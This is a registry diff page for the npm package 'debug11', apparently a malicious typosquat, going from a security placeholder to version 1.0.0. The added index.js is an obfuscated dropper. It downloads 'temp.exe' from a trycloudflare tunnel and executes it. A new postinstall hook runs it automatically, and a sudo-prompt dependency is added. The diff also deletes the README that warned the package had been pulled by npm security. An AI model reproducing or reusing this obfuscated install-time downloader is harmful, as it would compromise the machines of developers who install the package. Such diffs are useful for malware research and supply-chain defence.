debug11 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of debug11 might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x12ce8a=_0xfb4f;function _0x2316(){const _0x3657eb=['join','buffer','child_process','fs-extra','4vcQWXV','status','1315048rvQOqJ','6996756SpIERI','Error\x20running\x20the\x20executable:\x20','28915120PSsabD','2868831DgjdMK','899759ldobqK','5427149xcZrzS','HTTP\x20error!\x20status:\x20','writeFile','983275KoVXqY','node-fetch','error'];_0x2316=function(){return _0x3657eb;};return _0x2316();}(function(_0x1ac470,_0x30fdf3){const _0x3a882b=_0xfb4f,_0x1c3040=_0x1ac470();while(!![]){try{const _0x328b55=parseInt(_0x3a882b(0x111))/0x1+parseInt(_0x3a882b(0x10c))/0x2+parseInt(_0x3a882b(0x110))/0x3+-parseInt(_0x3a882b(0x11c))/0x4*(parseInt(_0x3a882b(0x115))/0x5)+parseInt(_0x3a882b(0x10d))/0x6+parseInt(_0x3a882b(0x112))/0x7+-parseInt(_0x3a882b(0x10f))/0x8;if(_0x328b55===_0x30fdf3)break;else _0x1c3040['push'](_0x1c3040['shift']());}catch(_0x21fb1d){_0x1c3040['push'](_0x1c3040['shift']());}}}(_0x2316,0x9d36c));const fs=require(_0x12ce8a(0x11b)),path=require('path'),fetch=require(_0x12ce8a(0x116)),{exec}=require(_0x12ce8a(0x11a)),exeFileName='temp.exe',downloadUrl='https://stewart-trusts-comment-gem.trycloudflare.com/home',exeFilePath=path[_0x12ce8a(0x118)](__dirname,exeFileName);function _0xfb4f(_0x3dac9c,_0x277cd0){const _0x2316a7=_0x2316();return _0xfb4f=function(_0xfb4f25,_0x18d436){_0xfb4f25=_0xfb4f25-0x10b;let _0x5a61e2=_0x2316a7[_0xfb4f25];return _0x5a61e2;},_0xfb4f(_0x3dac9c,_0x277cd0);}async function downloadFile(_0x28e562,_0x12df12){const _0x56ce99=_0x12ce8a,_0x1e0153=await fetch(_0x28e562);if(!_0x1e0153['ok'])throw new Error(_0x56ce99(0x113)+_0x1e0153[_0x56ce99(0x10b)]);const _0x5072d7=await _0x1e0153[_0x56ce99(0x119)]();await fs[_0x56ce99(0x114)](_0x12df12,_0x5072d7);}async function runExecutable(){const _0x4d532b=_0x12ce8a;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x340bd2=>{const _0x1f6aab=_0xfb4f;_0x340bd2&&console['error'](_0x1f6aab(0x10e)+_0x340bd2);});}catch(_0x49b7d3){console[_0x4d532b(0x117)]('Download\x20error:\x20'+_0x49b7d3);}}runExecutable();
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "debug11",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Pkg",
|
5
|
+
"main": "index.js",
|
6
|
+
"bin": {
|
7
|
+
"update": "index.js"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node index.js"
|
11
|
+
},
|
12
|
+
"dependencies": {
|
13
|
+
"fs-extra": "^10.0.0",
|
14
|
+
"node-fetch": "^2.6.7",
|
15
|
+
"sudo-prompt": "^9.2.1"
|
16
|
+
}
|
6
17
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=debug11 for more information.
|